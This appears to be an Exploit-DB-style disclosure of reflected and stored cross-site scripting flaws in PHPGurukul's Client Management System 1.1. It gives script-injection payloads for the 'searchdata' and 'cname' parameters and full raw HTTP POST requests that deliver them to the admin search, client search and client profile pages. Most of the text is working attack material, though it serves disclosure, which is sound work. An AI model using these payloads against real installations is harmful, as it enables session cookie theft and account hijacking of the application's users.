Client Management System 1.1 - (cname) Stored Cross-site scripting Vulnerability

# Exploit Title: Client Management System 1.1 - 'cname' Stored Cross-site scripting (XSS)
# Exploit Author: Mohammad Koochaki
# Vendor Homepage: https://phpgurukul.com/client-management-system-using-php-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10841
# Version: 1.1
# Tested on: Ubuntu 20.04.2 LTS, PHP 7.4.3

### This application is prone to a cross-site scripting in the 'searchdata'
parameter at the following path:
        - Reflected: http://localhost/admin/search-invoices.php
        - Reflected: http://localhost/client/search-invoices.php
        - Stored: http://localhost/client/client-profile.php

### Payloads:
        - Reflected: </h4><script>alert(document.cookie)</script>
        - Stored: "><script>alert(document.cookie)</script>Anuj+Kumar

### PoC:

## Reflected:
POST /admin/search-invoices.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: http://localhost
Connection: close
Referer: http://localhost/admin/search-invoices.php
Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

searchdata=</h4><script>alert(document.cookie)</script>&search=


## Stored:
POST /client/client-profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
Origin: http://localhost
Connection: close
Referer: http://localhost/client/client-profile.php
Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

cname="><script>alert(document.cookie)</script>Anuj+Kumar&comname=PHPGurukul+Programming+Blog&address=New+Delhi&city=New+Delhi&state=Delhi&zcode=110001&wphnumber=9354778033&cellphnumber=9354778033&ophnumber=9354778033&email=phpgurukulofficial%
40gmail.com&websiteadd=https%3A%2F%2Fphpgurukul.com&notes=New+User&submit=